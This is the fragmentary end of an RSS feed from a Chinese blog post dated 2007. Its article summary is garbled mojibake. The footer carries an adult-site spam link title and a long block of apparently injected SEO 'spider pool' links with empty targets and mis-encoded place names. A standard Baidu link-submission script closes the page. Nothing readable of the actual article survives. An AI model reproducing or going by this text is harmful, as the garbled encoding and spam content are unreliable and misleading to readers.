GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100054.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100054.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100054.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100054.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100054.html</trackback:ping><description><![CDATA[     摘要: å‰?  (t¨©ng) (t¨©ng) ­a€ ...  <a href='http://www.aygfsteel.com/yczz/articles/100054.html'>阅读全文</a><img src ="http://www.aygfsteel.com/yczz/aggbug/100054.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:39 <a href="http://www.aygfsteel.com/yczz/articles/100054.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <a href="http://www.aygfsteel.com/" title="狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频">狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频</a> </div> </footer> Ö÷Õ¾Ö©Öë³ØÄ£°å£º <a href="http://" target="_blank">»´°²ÊÐ</a>| <a href="http://" target="_blank">·±²ýÏØ</a>| <a href="http://" target="_blank">¸ßƽÊÐ</a>| <a href="http://" target="_blank">Á°Ë®ÏØ</a>| <a href="http://" target="_blank">°ÍÁÖ×óÆì</a>| <a href="http://" target="_blank">ÅíÑôÏØ</a>| <a href="http://" target="_blank">ºÓ¶«Çø</a>| <a href="http://" target="_blank">ºâÑôÊÐ</a>| <a href="http://" target="_blank">Õòãä</a>| <a href="http://" target="_blank">Í©ÏçÊÐ</a>| <a href="http://" target="_blank">³ç×óÊÐ</a>| <a href="http://" target="_blank">°ÄÃÅ</a>| <a href="http://" target="_blank">¶ýÔ´ÏØ</a>| <a href="http://" target="_blank">³»ÖÝÊÐ</a>| <a href="http://" target="_blank">»·½­</a>| <a href="http://" target="_blank">ÐÂÃñÊÐ</a>| <a href="http://" target="_blank">Ç±É½ÏØ</a>| <a href="http://" target="_blank">º¼½õºóÆì</a>| <a href="http://" target="_blank">ÒÁ½ð»ôÂåÆì</a>| <a href="http://" target="_blank">ËÞÖÝÊÐ</a>| <a href="http://" target="_blank">¶«ÄþÏØ</a>| <a href="http://" target="_blank">íìíôÏØ</a>| <a href="http://" target="_blank">̨ÄÏÏØ</a>| <a href="http://" target="_blank">ÇÒÄ©ÏØ</a>| <a href="http://" target="_blank">ͬµÂÏØ</a>| <a href="http://" target="_blank">¹²ºÍÏØ</a>| <a href="http://" target="_blank">ÁùÅÌË®ÊÐ</a>| <a href="http://" target="_blank">ÓñÁÖÊÐ</a>| <a href="http://" target="_blank">Ñô¹ÈÏØ</a>| <a href="http://" target="_blank">ÁÉÄþÊ¡</a>| <a href="http://" target="_blank">ÀóÆÖÏØ</a>| <a href="http://" target="_blank">Ë·ÖÝÊÐ</a>| <a href="http://" target="_blank">ÐËÉ½ÏØ</a>| <a href="http://" target="_blank">ÄÚÇðÏØ</a>| <a href="http://" target="_blank">µÂÇìÏØ</a>| <a href="http://" target="_blank">ÅìºþÏØ</a>| <a href="http://" target="_blank">ÃɳÇÏØ</a>| <a href="http://" target="_blank">»ñ¼ÎÏØ</a>| <a href="http://" target="_blank">ãò¶¨ÏØ</a>| <a href="http://" target="_blank">Êæ³ÇÏØ</a>| <a href="http://" target="_blank">ÕþºÍÏØ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>